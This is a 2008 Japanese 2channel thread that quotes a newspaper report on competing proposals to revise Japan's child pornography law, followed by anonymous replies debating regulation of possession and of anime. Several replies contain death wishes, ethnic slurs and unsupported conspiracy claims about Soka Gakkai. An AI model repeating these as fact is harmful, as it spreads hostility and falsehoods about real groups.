【政治】 "単純所持で罰則" 児童ポルノ禁止法改正、１１月成立目指し修正協議…与党案には、アニメ・漫画の影響研究も★９
・児童ポルノ禁止法改正をめぐり、与党と民主党が１１月の改正法成立を目指して秋の臨時国会で
修正協議に入る見通しとなった。与党は、個人が既に所有するポルノも規制対象である「単純所持」
禁止を掲げるが、民主党は改正法施行後、新たに入手する「取得」禁止を主張しており、接点は
見いだせていない。
単純所持を禁じていないのはＧ８では日本とロシアだけで、与党は単純所持の処罰化を盛り込んだ
改正法案を通常国会に提出し、継続審議とした。民主党も改正法案を秋の臨時国会に提出する構えだ。
１１月に「子どもの商業的な性搾取に反対する世界会議」会合が開かれるため、与党、民主党ともに
世界会議までに修正案を共同提案して成立させたい機運はある。
しかし両者の案には開きがある。単純所持を禁じる与党案に対し、民主党案は禁止対象を「有償または
反復した取得」に限定し、罰則を「３年以下の懲役または３００万円以下の罰金」とする。「規制を、
買い取りなど明白な行為に限定しないと、捜査権乱用による冤罪を招きかねない」と指摘して「取得」に
こだわりを見せている。
与党は「冤罪を招く」との批判を想定し、単純所持でも処罰対象を「自己の性的好奇心を満たす目的」の
所持に絞った。罰則も「１年以下の懲役または１００万円以下の罰金」と民主党案より軽い。
民主党案に対し、警察庁職員として同法制定にかかわった後藤啓二弁護士は「既に所持するポルノは
『合法』となるうえ、『取得の禁止』では誰からどこで入手したかの立証が難しい」と指摘している。（一部略）
◆与党案◆
・単純所持を禁止（性的好奇心を満たす目的の場合、１年以下の懲役または１００万円以下の罰金）
・アニメ、ＣＧ、漫画などの児童ポルノの影響を調査研究するよう政府に義務付け
◆民主党案◆
・有償または反復した取得を禁止（３年以下の懲役・３００万円以下の罰金）
・既存の罰則をそれぞれ厳しくする
・盗撮による児童ポルノ製造を処罰化（５年以下の懲役または５００万円以下の罰金）
・厚生労働省の社会保障審議会で被害児童の保護施策を検証
http://mainichi.jp/select/seiji/news/20080818k0000m010059000c.html
※前：http://mamono.2ch.net/test/read.cgi/newsplus/1219152267/
修正協議に入る見通しとなった。与党は、個人が既に所有するポルノも規制対象である「単純所持」
禁止を掲げるが、民主党は改正法施行後、新たに入手する「取得」禁止を主張しており、接点は
見いだせていない。
単純所持を禁じていないのはＧ８では日本とロシアだけで、与党は単純所持の処罰化を盛り込んだ
改正法案を通常国会に提出し、継続審議とした。民主党も改正法案を秋の臨時国会に提出する構えだ。
１１月に「子どもの商業的な性搾取に反対する世界会議」会合が開かれるため、与党、民主党ともに
世界会議までに修正案を共同提案して成立させたい機運はある。
しかし両者の案には開きがある。単純所持を禁じる与党案に対し、民主党案は禁止対象を「有償または
反復した取得」に限定し、罰則を「３年以下の懲役または３００万円以下の罰金」とする。「規制を、
買い取りなど明白な行為に限定しないと、捜査権乱用による冤罪を招きかねない」と指摘して「取得」に
こだわりを見せている。
与党は「冤罪を招く」との批判を想定し、単純所持でも処罰対象を「自己の性的好奇心を満たす目的」の
所持に絞った。罰則も「１年以下の懲役または１００万円以下の罰金」と民主党案より軽い。
民主党案に対し、警察庁職員として同法制定にかかわった後藤啓二弁護士は「既に所持するポルノは
『合法』となるうえ、『取得の禁止』では誰からどこで入手したかの立証が難しい」と指摘している。（一部略）
◆与党案◆
・単純所持を禁止（性的好奇心を満たす目的の場合、１年以下の懲役または１００万円以下の罰金）
・アニメ、ＣＧ、漫画などの児童ポルノの影響を調査研究するよう政府に義務付け
◆民主党案◆
・有償または反復した取得を禁止（３年以下の懲役・３００万円以下の罰金）
・既存の罰則をそれぞれ厳しくする
・盗撮による児童ポルノ製造を処罰化（５年以下の懲役または５００万円以下の罰金）
・厚生労働省の社会保障審議会で被害児童の保護施策を検証
http://mainichi.jp/select/seiji/news/20080818k0000m010059000c.html
※前：http://mamono.2ch.net/test/read.cgi/newsplus/1219152267/
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２コちゃん大王
オタクはきもいという認識が一般人にあり、オタクを蔑むことが広く許容されてる日本において
この児童ポルノ禁止法改正に反対するのは矛盾した行為。
この児童ポルノ禁止法改正に反対するのは矛盾した行為。
4 ：名無しさん＠九周年：2008/08/20(水) 08:54:13 ID:goo4DzbW0
取得罪でも冤罪の危険は、大して変わらないだろ。
ネットにログがあれば取得の容疑で捜査できる。
処罰は提供側に限定しろ。
ネットにログがあれば取得の容疑で捜査できる。
処罰は提供側に限定しろ。
5 ：名無しさん＠九周年：2008/08/20(水) 09:01:43 ID:3orsUuP20
二大政党の条文の内容に若干の違いこそあれ両者賛成ｗｗｗ
ウザキモロリペドとその擁護派ども今度こそ終わったなｗｗｗｗｗｗｗｗｗｗ
ウザキモロリペドとその擁護派ども今度こそ終わったなｗｗｗｗｗｗｗｗｗｗ
6 ：名無しさん＠九周年：2008/08/20(水) 09:02:00 ID:pmoFG5eN0
公聴会やったらぜひ意見陳述したい人は挙手！
7 ：名無しさん＠九周年：2008/08/20(水) 09:02:42 ID:5uMjORUl0
Fuck.....
8 ：名無しさん＠九周年：2008/08/20(水) 09:02:52 ID:a+zL5Dc90
しかし、二次規制論に対してなされるがままの漫画業界アニメ業界には呆れてしまいますね。
よほど自分達の製作しているもの対する信念がないのか
ただの商業主義で作っている以上、明確な反論の弁が不可能なのかもしれないですね
よほど自分達の製作しているもの対する信念がないのか
ただの商業主義で作っている以上、明確な反論の弁が不可能なのかもしれないですね
9 ：名無しさん＠九周年：2008/08/20(水) 09:03:59 ID:goo4DzbW0
所持罪も取得罪も、大して変わらん。
日本は、性犯罪も児童虐待も少ないんだし
こんなに頻繁に法改正する必要はない。
日本は、性犯罪も児童虐待も少ないんだし
こんなに頻繁に法改正する必要はない。
しかしこれで犯罪は抑制されるのか
現在所持している人はどうすりゃいいんだ？
国で買い取ってくれるのかな
国で買い取ってくれるのかな
12 ：名無しさん＠九周年：2008/08/20(水) 09:06:28 ID:YlgCvaYH0
>>3
池田大作がキモイとか小泉純一郎は頭が悪すぎるから死刑なんて論法がまかり通っていいのだろうか？
池田大作がキモイとか小泉純一郎は頭が悪すぎるから死刑なんて論法がまかり通っていいのだろうか？
円より子
美少女アニメ・ゲームを見るヤツを、犯罪者とみなす差別主義者。
7月から毎日、国会議員の名鑑「ぷぶりすてら」の評価を工作中。
よほど有権者の評価がお嫌なようです。昨日も大奮発ｗ
http://www.publistella.net/main/719.html
※関連記事
・【政治】 「エロゲーやる人は、人間性失ってる」主張の民主党・円より子議員の掲示板に、「主婦だってエロゲします」等と批判殺到★19
http://mamono.2ch.net/test/read.cgi/newsplus/1211846876/
・【政治】 「美少女アダルトゲーム・アニメを楽しむ人は、人間性失ってる。少女殺害等に繋がるので販売規制を」…民主党議員が請願★28
http://mamono.2ch.net/test/read.cgi/newsplus/1211669504/
・ウィキペディア「円より子」に、参議院から編集合戦参加の痕跡
http://internet.watch.impress.co.jp/static/yajiuma/2008/07/16/
ロリがなくなってもロリで培われた技術はなくならないはず
パンツを真下から覗くアングルとか・・
パンツを真下から覗くアングルとか・・
小沢の率いる野党が矢野さんのことで臨時国会で公明党と創価を倒すようだよ。
16 ：名無しさん＠九周年：2008/08/20(水) 09:12:08 ID:a+zL5Dc90
規制論におびえるだけのアニメ漫画業界にはもう愛想が尽きたよ
ブログを持ってる連中もだんまりだしな
ブログを持ってる連中もだんまりだしな
17 ：名無しさん＠九周年：2008/08/20(水) 09:13:35 ID:goo4DzbW0
＞１１月に「子どもの商業的な性搾取に反対する世界会議」会合が開かれるため、
＞世界会議までに修正案を共同提案して成立させたい機運はある。
法改正すりゃいいってもんじゃないだろ。
国際会議のたびに、国内法を改正しなきゃいけないルールでもあるのか？
＞世界会議までに修正案を共同提案して成立させたい機運はある。
法改正すりゃいいってもんじゃないだろ。
国際会議のたびに、国内法を改正しなきゃいけないルールでもあるのか？
雷句誠何て呑気に小学館と喧嘩しているんだもんな。本当に幸せ者というか、何と言うか。
19 ：名無しさん＠九周年：2008/08/20(水) 09:16:39 ID:FMQlTvPh0
気持ち悪いから規制って、どんな短絡思考だよ。
一般人から気味悪がられてても、文化だぞ？
民主主義で保護されるべき存在なのでは？
それも急進的なものだけでなく、「そう見えた」だけで逮捕などありえない。
それより、近所で創価学会がうるさいんだが、気持ち悪いからと規制できるのかね？
池田レイプ事件やら、充分反社会的で危険な存在なのだが。
一般人から気味悪がられてても、文化だぞ？
民主主義で保護されるべき存在なのでは？
それも急進的なものだけでなく、「そう見えた」だけで逮捕などありえない。
それより、近所で創価学会がうるさいんだが、気持ち悪いからと規制できるのかね？
池田レイプ事件やら、充分反社会的で危険な存在なのだが。
20 ：名無しさん＠九周年：2008/08/20(水) 09:18:30 ID:goo4DzbW0
改正案は、3年後見直し規定の削除と
売る側も処罰とかでいいよ。
所持や取得は、いい加減にして欲しい。
売る側も処罰とかでいいよ。
所持や取得は、いい加減にして欲しい。
21 ：名無しさん＠九周年：2008/08/20(水) 09:19:10 ID:YlgCvaYH0
児童の保護が目的で法案を制定します→アニメ規制で被害は防げません→数さえ揃えば法案は作れるので作ります
この時点で学校を変えるとのたまいながら校内をバイクで走ってるＤＱＮや
カラテの試合で一人だけ鉄の鎧をつけて試合にのぞむくらいありえない状況に
なっているのに気がつかないところがすごいよね
誰がこんなの選んだろう
少なくてもこの法案で迷惑こうむりまくる高校生の彼女がいる人やアニオタではないはずだけど
この時点で学校を変えるとのたまいながら校内をバイクで走ってるＤＱＮや
カラテの試合で一人だけ鉄の鎧をつけて試合にのぞむくらいありえない状況に
なっているのに気がつかないところがすごいよね
誰がこんなの選んだろう
少なくてもこの法案で迷惑こうむりまくる高校生の彼女がいる人やアニオタではないはずだけど
22 ：名無しさん＠九周年：2008/08/20(水) 09:21:54 ID:aVF/mK2L0
性犯罪の被害者にしないためには・・・そうだな
二目と見れない不細工に整形して、たわしみたいな体毛を全身に生やせば、相手にされなくなるんじゃないか？
二目と見れない不細工に整形して、たわしみたいな体毛を全身に生やせば、相手にされなくなるんじゃないか？
23 ：名無しさん＠九周年：2008/08/20(水) 09:21:58 ID:+6SLBPZd0
さっさと可決しろ
ロリコンは死刑でいいよ
これが国民の総意だ
ロリコンは死刑でいいよ
これが国民の総意だ
24 ：名無しさん＠九周年：2008/08/20(水) 09:26:55 ID:YlgCvaYH0
>>23
ロリコン批判はいいとしてそれがアニメ規制で防げると思い込んでるところがすごいのね
赤坂プチエンジェル事件や女教師や職員や在日・公務員の性犯罪はみのがして円光の
売り手もみのがしてこの言い分とかどういう思考してるんだろ
ロリコン批判はいいとしてそれがアニメ規制で防げると思い込んでるところがすごいのね
赤坂プチエンジェル事件や女教師や職員や在日・公務員の性犯罪はみのがして円光の
売り手もみのがしてこの言い分とかどういう思考してるんだろ
25 ：名無しさん＠九周年：2008/08/20(水) 09:27:58 ID:7nXPAFd00
もしも18歳未満のBL同人誌やショタ漫画も規制されたら、
漫画好きな女性も影響受けそうだけど、わかってるのだろうか？
漫画好きな女性も影響受けそうだけど、わかってるのだろうか？
26 ：名無しさん＠九周年：2008/08/20(水) 09:28:33 ID:R52NjZ1l0
この法律賛成者は基地外ばかり
こんな奴らに言論・表現の自由を侵されたくない
こんな奴らに言論・表現の自由を侵されたくない
これって日本が批判されてるから、、、ってことでしょ。
日本を批判されるように仕向けた新聞は何処？
日本を批判されるように仕向けた新聞は何処？
28 ：名無しさん＠九周年：2008/08/20(水) 09:30:31 ID:rBiyeolN0
30 ：名無しさん＠九周年：2008/08/20(水) 09:31:37 ID:q/mKxkERO
もうロリコン死ねとかしか書かない奴らは
ロリコンにさせられて社会的に抹殺されてください
ロリコンにさせられて社会的に抹殺されてください
31 ：名無しさん＠九周年：2008/08/20(水) 09:31:56 ID:tG6ioSM60
ロリはダメだぞ
お前ら
お前ら
32 ：名無しさん＠九周年：2008/08/20(水) 09:32:49 ID:YlgCvaYH0
>>29
だからやることやればいいじゃないですか
赤坂プチエンジェル事件で小学生を買ってた政治家や裁判官は誰と誰と誰で
性犯罪の加害者としてでてくるＡさんは誰と誰と誰なんですか？
それもわからずに犯罪が防げますか？
空気を換えるなんて可能なんですか？
だからやることやればいいじゃないですか
赤坂プチエンジェル事件で小学生を買ってた政治家や裁判官は誰と誰と誰で
性犯罪の加害者としてでてくるＡさんは誰と誰と誰なんですか？
それもわからずに犯罪が防げますか？
空気を換えるなんて可能なんですか？
33 ：名無しさん＠九周年：2008/08/20(水) 09:33:29 ID:7nXPAFd00
あと数ヶ月か数年で、日本の漫画やアニメ、ゲームがどうなるか
決まるかもしれないね。
ひょっとすると、日本の漫画やアニメの自由がどうなるかの、
大きな分かれ道なのかも。
決まるかもしれないね。
ひょっとすると、日本の漫画やアニメの自由がどうなるかの、
大きな分かれ道なのかも。
34 ：名無しさん＠九周年：2008/08/20(水) 09:35:14 ID:mCyYZ1Gx0
死ねよ自民公明
36 ：名無しさん＠九周年：2008/08/20(水) 09:36:51 ID:a+zL5Dc90
業界人が萎縮しておびえてるだけだからね
普通にアニメ・漫画の自由終了でしょ
日本の同人文化もこれにて終了ですね
普通にアニメ・漫画の自由終了でしょ
日本の同人文化もこれにて終了ですね
37 ：名無しさん＠九周年：2008/08/20(水) 09:36:58 ID:YlgCvaYH0
38 ：名無しさん＠九周年：2008/08/20(水) 09:40:34 ID:3orsUuP20
さっさと捕まれ、ウザキモロリペドとその擁護派ども♥
39 ：名無しさん＠九周年：2008/08/20(水) 09:40:49 ID:goo4DzbW0
40 ：名無しさん＠九周年：2008/08/20(水) 09:41:42 ID:azbrwEdJ0
なんでもうサミットは終わったのに、たった８ヶ国のG８だけで
比較してるの？
さまざまな宗教や文化のある全ての国と比較した方が、
より詳しいデータを示せるんじゃないの？
比較してるの？
さまざまな宗教や文化のある全ての国と比較した方が、
より詳しいデータを示せるんじゃないの？
41 ：名無しさん＠九周年：2008/08/20(水) 09:42:02 ID:YlgCvaYH0
ロリコンきんもーっ☆
43 ：名無しさん＠九周年：2008/08/20(水) 09:42:04 ID:4UGz6gXBO
日本のマンガ・アニメが世界を席巻…それが気に入らない人達が黒幕？
44 ：名無しさん＠九周年：2008/08/20(水) 09:43:34 ID:goo4DzbW0
45 ：名無しさん＠九周年：2008/08/20(水) 09:45:14 ID:rpksZtF50
ステップ１ ロリ所持禁止
ステップ２ ロリアニメ、ロリ漫画所持禁止（アニメ界、オタ絶滅）
ステップ３ １８歳以下はピカチュウのお面強制、服は肌の露出絶対禁止の甲冑を着ること。スカートなど言語道断
ステップ４ １８歳以下の存在禁止（１８歳以下は島流し）
ステップ５ ロリがいないのでロリ関係の事件がなくなって平和になってめでたしめでたし
子供の運動会写真なども禁止となるんだろうか・・・
パパと一緒にお風呂写真とかも罰則とかなりそだな（単純所持）
ステップ２ ロリアニメ、ロリ漫画所持禁止（アニメ界、オタ絶滅）
ステップ３ １８歳以下はピカチュウのお面強制、服は肌の露出絶対禁止の甲冑を着ること。スカートなど言語道断
ステップ４ １８歳以下の存在禁止（１８歳以下は島流し）
ステップ５ ロリがいないのでロリ関係の事件がなくなって平和になってめでたしめでたし
子供の運動会写真なども禁止となるんだろうか・・・
パパと一緒にお風呂写真とかも罰則とかなりそだな（単純所持）
46 ：名無しさん＠九周年：2008/08/20(水) 09:45:15 ID:4UGz6gXBO
オリンピックとかで日本人が強い競技があると、欧米人が有利なようにルールが改正されるよな。
そーゆー流れか？
そーゆー流れか？
47 ：名無しさん＠九周年：2008/08/20(水) 09:46:27 ID:goo4DzbW0
48 ：名無しさん＠九周年：2008/08/20(水) 09:48:17 ID:q/mKxkERO
正直ロリとかペドとかどうでもいい
ただ冤罪くらいたくないだけ
「ロリ死ね」とか言ってる賛成派(ってかアンチロリ？)もロリにさせられる可能性は大いにあるからね
ただ冤罪くらいたくないだけ
「ロリ死ね」とか言ってる賛成派(ってかアンチロリ？)もロリにさせられる可能性は大いにあるからね
49 ：名無しさん＠九周年：2008/08/20(水) 09:48:23 ID:aVF/mK2L0
50 ：名無しさん＠九周年：2008/08/20(水) 09:49:35 ID:/6uYVbr60
>>44
野田だましたNGOがエロゲ制作者ってコピペ通りなら、期待出来んだろうな。
制作者側は金持っているわ、893だの在日なんだろ？
そういうのと絡んでいる創価が売り手処罰規定なんてする訳がないし、
やってもざる状態にするでしょうな。
野田だましたNGOがエロゲ制作者ってコピペ通りなら、期待出来んだろうな。
制作者側は金持っているわ、893だの在日なんだろ？
そういうのと絡んでいる創価が売り手処罰規定なんてする訳がないし、
やってもざる状態にするでしょうな。
51 ：名無しさん＠九周年：2008/08/20(水) 09:49:47 ID:TFeNCUaHO
これはもう規制も止むなし。
あらゆる手段を用いて子どもの犠牲だけは回避しなければならない。
あらゆる手段を用いて子どもの犠牲だけは回避しなければならない。
52 ：名無しさん＠九周年：2008/08/20(水) 09:50:58 ID:YlgCvaYH0
>>51
だからやることやればいいじゃないですか
赤坂プチエンジェル事件で小学生を買ってた政治家や裁判官は誰と誰と誰で
性犯罪の加害者としてでてくるＡさんは誰と誰と誰なんですか？
それもわからずに犯罪が防げますか？
空気を換えるなんて可能なんですか？
結局ここに戻るんだよな
お前らが自己欺瞞をやめない限り解決しない問題なのに
だからやることやればいいじゃないですか
赤坂プチエンジェル事件で小学生を買ってた政治家や裁判官は誰と誰と誰で
性犯罪の加害者としてでてくるＡさんは誰と誰と誰なんですか？
それもわからずに犯罪が防げますか？
空気を換えるなんて可能なんですか？
結局ここに戻るんだよな
お前らが自己欺瞞をやめない限り解決しない問題なのに
53 ：名無しさん＠九周年：2008/08/20(水) 09:52:52 ID:WvPt3ejzO
>47
日本とロシア以外のＧ８は規定あるのかよｗ
ロシアと同格ｗｗｗｗｗ
日本とロシア以外のＧ８は規定あるのかよｗ
ロシアと同格ｗｗｗｗｗ
55 ：名無しさん＠九周年：2008/08/20(水) 09:53:55 ID:TFeNCUaHO
ID:YlgCvaYH0は何と戦っているんだ？
56 ：名無しさん＠九周年：2008/08/20(水) 09:54:21 ID:YlgCvaYH0
>>53
アメリカと同格になったら性犯罪率も今の36倍で行方不明者も100倍超になるんだけど・・・・・
アメリカと同格になったら性犯罪率も今の36倍で行方不明者も100倍超になるんだけど・・・・・
57 ：名無しさん＠九周年：2008/08/20(水) 09:55:53 ID:aVF/mK2L0
59 ：名無しさん＠九周年：2008/08/20(水) 09:57:38 ID:2PxzhvjD0
皆さん創価学会のむごい盗撮行為を知らないと思いますが、奴らは、集団で
24時間の盗撮を平気で行っている団体ですよ。 まさかと思うでしょうが
創価に迎合できない人は、奴らにとって自殺に追い込んでいい敵と考えて
いるんです。 敵対者は自殺に追い込め（池田大作語録）
24時間の盗撮を平気で行っている団体ですよ。 まさかと思うでしょうが
創価に迎合できない人は、奴らにとって自殺に追い込んでいい敵と考えて
いるんです。 敵対者は自殺に追い込め（池田大作語録）
規制反対ならば民主党、自民党にﾒｰﾙを出そう。
民主党
http://www.dpj.or.jp/header/form/index.html
自民党
http://www.jimin.jp/jimin/goiken/index.html
心交社逮捕、ビデ倫逮捕、小女子逮捕など権力を乱用し、暴走する警察に言いたいことを言ってやろう。
警察庁
https://www.npa.go.jp/goiken/index.htm
民主党
http://www.dpj.or.jp/header/form/index.html
自民党
http://www.jimin.jp/jimin/goiken/index.html
心交社逮捕、ビデ倫逮捕、小女子逮捕など権力を乱用し、暴走する警察に言いたいことを言ってやろう。
警察庁
https://www.npa.go.jp/goiken/index.htm
61 ：名無しさん＠九周年：2008/08/20(水) 09:58:15 ID:4UGz6gXBO
そうか毎日新聞が日本人を叩く理由はこれか！
62 ：名無しさん＠九周年：2008/08/20(水) 09:58:31 ID:YlgCvaYH0
>>58
性犯罪犯した奴らを捕まえて公開する方が抑止効果高いに決まってるだろｗｗｗ
アニメ所持者を捕まえてマズコミに出して何がどうなるんだよｗ
天下り役員の新しいポストが税金で確保されて警察の名目検挙率が向上するだけだろｗ
性犯罪犯した奴らを捕まえて公開する方が抑止効果高いに決まってるだろｗｗｗ
アニメ所持者を捕まえてマズコミに出して何がどうなるんだよｗ
天下り役員の新しいポストが税金で確保されて警察の名目検挙率が向上するだけだろｗ
63 ：名無しさん＠九周年：2008/08/20(水) 09:58:41 ID:d8gUr3oL0
>>58可能じゃねえよ。憲法違反丸出しの単純所持規制など容認できる訳がなかろう
64 ：名無しさん＠九周年：2008/08/20(水) 10:00:02 ID:rBiyeolN0
>>63
憲法違反？ズリネタに憲法持ち出す必死さ
憲法違反？ズリネタに憲法持ち出す必死さ
>>>56
そういうのは裏に大きな犯罪組織があって、人を何処にでも隠せるほど土地が有り余ってるアメリカだから起こること。
日本にはアメリカほど大規模な犯罪組織は無いし、それだけ沢山誘拐した子供を隠してバレずにポルノを撮影するほどの土地もない。
そういうのは裏に大きな犯罪組織があって、人を何処にでも隠せるほど土地が有り余ってるアメリカだから起こること。
日本にはアメリカほど大規模な犯罪組織は無いし、それだけ沢山誘拐した子供を隠してバレずにポルノを撮影するほどの土地もない。
66 ：名無しさん＠九周年：2008/08/20(水) 10:00:32 ID:WvPt3ejzO
>56
底辺はアルファベットも書けない国と一緒にすんな
底辺はアルファベットも書けない国と一緒にすんな
67 ：名無しさん＠九周年：2008/08/20(水) 10:01:12 ID:q/mKxkERO
そうだな、セクハラなんてどんな些細なことでも女性の感じ方一つでアウトになるんだから笑えないよな
いや全く、素敵な法律、素敵な世の中だ
いや全く、素敵な法律、素敵な世の中だ
68 ：名無しさん＠九周年：2008/08/20(水) 10:01:55 ID:YlgCvaYH0
>>65
＞それだけ沢山誘拐した子供を隠してバレずにポルノを撮影するほどの土地もない
性犯罪率が著しく低い要因はそのあたりにありそうなのは分かったけどそれならそもそも
なんのために規制かって話しに戻るわけでｗ
＞それだけ沢山誘拐した子供を隠してバレずにポルノを撮影するほどの土地もない
性犯罪率が著しく低い要因はそのあたりにありそうなのは分かったけどそれならそもそも
なんのために規制かって話しに戻るわけでｗ
70 ：名無しさん＠九周年：2008/08/20(水) 10:03:08 ID:aVF/mK2L0
>>62
そういや父親殺した女子中学生やらの部屋から「ひぐらしが鳴く頃に」の小説（？）出て来たって大騒ぎしてたけど、
あれって結局因果関係は解明されたのか？
さも「これが原因だ！」みたいな発言しといて、その後は責任放棄してだんまり決め込んでるしな
そういや父親殺した女子中学生やらの部屋から「ひぐらしが鳴く頃に」の小説（？）出て来たって大騒ぎしてたけど、
あれって結局因果関係は解明されたのか？
さも「これが原因だ！」みたいな発言しといて、その後は責任放棄してだんまり決め込んでるしな
まず日本国憲法を改正してから、この法案を通せ。
ついでに九条も破棄してみろ。
ついでに九条も破棄してみろ。
72 ：名無しさん＠九周年：2008/08/20(水) 10:04:21 ID:2PxzhvjD0
創価学会の謀略組織を解明する。 （元創価学会幹部のブログです。）
このテーマは、私たちの周りで起こっている信じられない陰湿な実態を「世の中」に
知ってもらうためにブログで明らかにするものです。
http://haku38.com/2008/07/
このテーマは、私たちの周りで起こっている信じられない陰湿な実態を「世の中」に
知ってもらうためにブログで明らかにするものです。
http://haku38.com/2008/07/
日本は世界各国に比べてロリ犯罪の少ない国。
ロリ犯罪の加害者は教師や親が多い
おかしな偏見のみで漫画・アニメを規制するのは国益、表現の自由の制限などに反する
こんな改正は違憲だから無効
ロリ犯罪の加害者は教師や親が多い
おかしな偏見のみで漫画・アニメを規制するのは国益、表現の自由の制限などに反する
こんな改正は違憲だから無効
74 ：名無しさん＠九周年：2008/08/20(水) 10:05:20 ID:goo4DzbW0
>>53
ロシア日本だけが違うのは当たり前。宗教が違うから。
アメリカ・イギリス・カナダ・ドイツ・フランス・イタリアは
全部カトリック派生の、西方キリスト教国だ。
ロシアだけは、キリスト教でも、東方正教会で全然宗派が違う。
日本に至っては、仏教国で、キリスト教ですらない。
ロシア日本だけが違うのは当たり前。宗教が違うから。
アメリカ・イギリス・カナダ・ドイツ・フランス・イタリアは
全部カトリック派生の、西方キリスト教国だ。
ロシアだけは、キリスト教でも、東方正教会で全然宗派が違う。
日本に至っては、仏教国で、キリスト教ですらない。
75 ：名無しさん＠九周年：2008/08/20(水) 10:05:49 ID:q/mKxkERO
>>68
だから児童保護の為の規制だよ。意志表示の為の個別法だよ。
現行法には児童ポルノ犯罪を想定した条文は無いから、現行法だけでの対応には限界がある。
対応したとしても、「児童ポルノ犯罪」ではなく、「よくある大人の性犯罪」として扱われてしまう。
これじゃとても児童保護なんかにはならない。
だから児童保護の為の規制だよ。意志表示の為の個別法だよ。
現行法には児童ポルノ犯罪を想定した条文は無いから、現行法だけでの対応には限界がある。
対応したとしても、「児童ポルノ犯罪」ではなく、「よくある大人の性犯罪」として扱われてしまう。
これじゃとても児童保護なんかにはならない。
77 ：名無しさん＠九周年：2008/08/20(水) 10:08:12 ID:goo4DzbW0
78 ：名無しさん＠九周年：2008/08/20(水) 10:09:06 ID:YlgCvaYH0
>>69
異常な環境を作り出してきたのは女子高生を買ったり小学生を買う奴らで
あってアニオタや高校生年代と普通に付き合える年齢層の人間じゃないだろ
ショタやプチエンジェルや在日・公務員の性犯罪者をちゃんと罰すればすれで
片付く話だと思われ
意識が低いのはアニオタや１７歳の彼女もちじゃなく不良債権を作ったり
社会保障費を使い込んだ世代だろ
異常な環境を作り出してきたのは女子高生を買ったり小学生を買う奴らで
あってアニオタや高校生年代と普通に付き合える年齢層の人間じゃないだろ
ショタやプチエンジェルや在日・公務員の性犯罪者をちゃんと罰すればすれで
片付く話だと思われ
意識が低いのはアニオタや１７歳の彼女もちじゃなく不良債権を作ったり
社会保障費を使い込んだ世代だろ
79 ：名無しさん＠九周年：2008/08/20(水) 10:09:17 ID:aVF/mK2L0
80 ：名無しさん＠九周年：2008/08/20(水) 10:09:30 ID:puGk+Tzn0
ID:TSg1tG5W0はただの無知かｗ
妄想も激しいようだし
妄想も激しいようだし
81 ：名無しさん＠九周年：2008/08/20(水) 10:10:44 ID:WvPt3ejzO
>74
宗教だけの理由なら時代に合わせてユルくなる
カトリック国の同性愛禁止や離婚禁止はユルくなってるし
こいつは時代に合わせて罰則化されてるだけのよーな
宗教だけの理由なら時代に合わせてユルくなる
カトリック国の同性愛禁止や離婚禁止はユルくなってるし
こいつは時代に合わせて罰則化されてるだけのよーな
>>77
だから、わざわざ児童ポルノ法を個別で作ったんだよ。現行法では対応できなかったから。
でも、その児童ポルノ法は未完成なの。本来の児童ポルノ法じゃない。
本来の児童ポルノ法では単純所持も漫画も規制するはずだった。
だから、わざわざ児童ポルノ法を個別で作ったんだよ。現行法では対応できなかったから。
でも、その児童ポルノ法は未完成なの。本来の児童ポルノ法じゃない。
本来の児童ポルノ法では単純所持も漫画も規制するはずだった。
83 ：名無しさん＠九周年：2008/08/20(水) 10:12:18 ID:e9D+EDiAO
どんどん厳罰化しろ
憲法違反なら憲法も変えろ
権利ばかり主張する輩に義務を叩きこめ
憲法違反なら憲法も変えろ
権利ばかり主張する輩に義務を叩きこめ
84 ：名無しさん＠九周年：2008/08/20(水) 10:12:42 ID:2PxzhvjD0
自民、公明案が通れば間違いなく冤罪に、使われます。
創価は「総体革命」と言って自分達の宗教国に日本を変える為にあらゆる
組織に信者を浸透させてきました。役所にも創価はかなり多いし、警察にも
相当もぐりこんでいます。日本人を破壊するために、免罪に使われます。
痴漢免罪より簡単です。
創価は「総体革命」と言って自分達の宗教国に日本を変える為にあらゆる
組織に信者を浸透させてきました。役所にも創価はかなり多いし、警察にも
相当もぐりこんでいます。日本人を破壊するために、免罪に使われます。
痴漢免罪より簡単です。
85 ：名無しさん＠九周年：2008/08/20(水) 10:13:06 ID:YlgCvaYH0
>>83
権利を主張しているのは法改正を提言している側なわけだが
権利を主張しているのは法改正を提言している側なわけだが
86 ：名無しさん＠九周年：2008/08/20(水) 10:13:33 ID:jxPgGTFl0
不明確な定義の対象物にも関わらず、
単純所持を罰しようとしている自民党案はどうかと思うが、
それにしてもロリの味方するのは不本意すぎるなぁｗ
おなじ空気吸ってると思うだけで虫唾が走るから。
いやー上手いところ突いてくるｗｗｗ
単純所持を罰しようとしている自民党案はどうかと思うが、
それにしてもロリの味方するのは不本意すぎるなぁｗ
おなじ空気吸ってると思うだけで虫唾が走るから。
いやー上手いところ突いてくるｗｗｗ
日本って何でも他の国の物を真似たがるよね。
アメリカとかみたいに性犯罪が多いならまだしも
日本は諸外国に比べてもずば抜けて低いでしょ。
逆に
「抜くネタが豊富だからこそここまで性犯罪が少ない」
とお偉いさんは考えないのかね。
でも例えそれが真実だったとしても
そんなこと言ったらフェミ団体やら外国から叩かれるから口が裂けてもいえないだろうけど。
せめて二次なんかは規制対象外とか一定の規定を設けるとかにした方がいいと思うけどね。
アメリカとかみたいに性犯罪が多いならまだしも
日本は諸外国に比べてもずば抜けて低いでしょ。
逆に
「抜くネタが豊富だからこそここまで性犯罪が少ない」
とお偉いさんは考えないのかね。
でも例えそれが真実だったとしても
そんなこと言ったらフェミ団体やら外国から叩かれるから口が裂けてもいえないだろうけど。
せめて二次なんかは規制対象外とか一定の規定を設けるとかにした方がいいと思うけどね。
88 ：名無しさん＠九周年：2008/08/20(水) 10:13:54 ID:er5gQ2lo0
>>24
コピペにマジレスかこいい
コピペにマジレスかこいい
89 ：名無しさん＠九周年：2008/08/20(水) 10:14:06 ID:d8gUr3oL0
>>63お前こんな法案に本気で整合性があると思ってたのか
90 ：名無しさん＠九周年：2008/08/20(水) 10:14:13 ID:aVF/mK2L0
91 ：名無しさん＠九周年：2008/08/20(水) 10:14:26 ID:goo4DzbW0
>>81
緩くなっていると言っても元が厳しいからな。
奴らにとっては児童ポルノの単純所持しているだけで
神に対する罪悪を犯していることになるから
法治国家の原則を捻じ曲げてでも所持罪を導入するし
「罪人」の日本にも強要する。
緩くなっていると言っても元が厳しいからな。
奴らにとっては児童ポルノの単純所持しているだけで
神に対する罪悪を犯していることになるから
法治国家の原則を捻じ曲げてでも所持罪を導入するし
「罪人」の日本にも強要する。
92 ：悔しくて悔しくて口動かせど声出さずニタ〜と笑うってか♪：2008/08/20(水) 10:15:23 ID:IqpFU/RNO
規
制
反
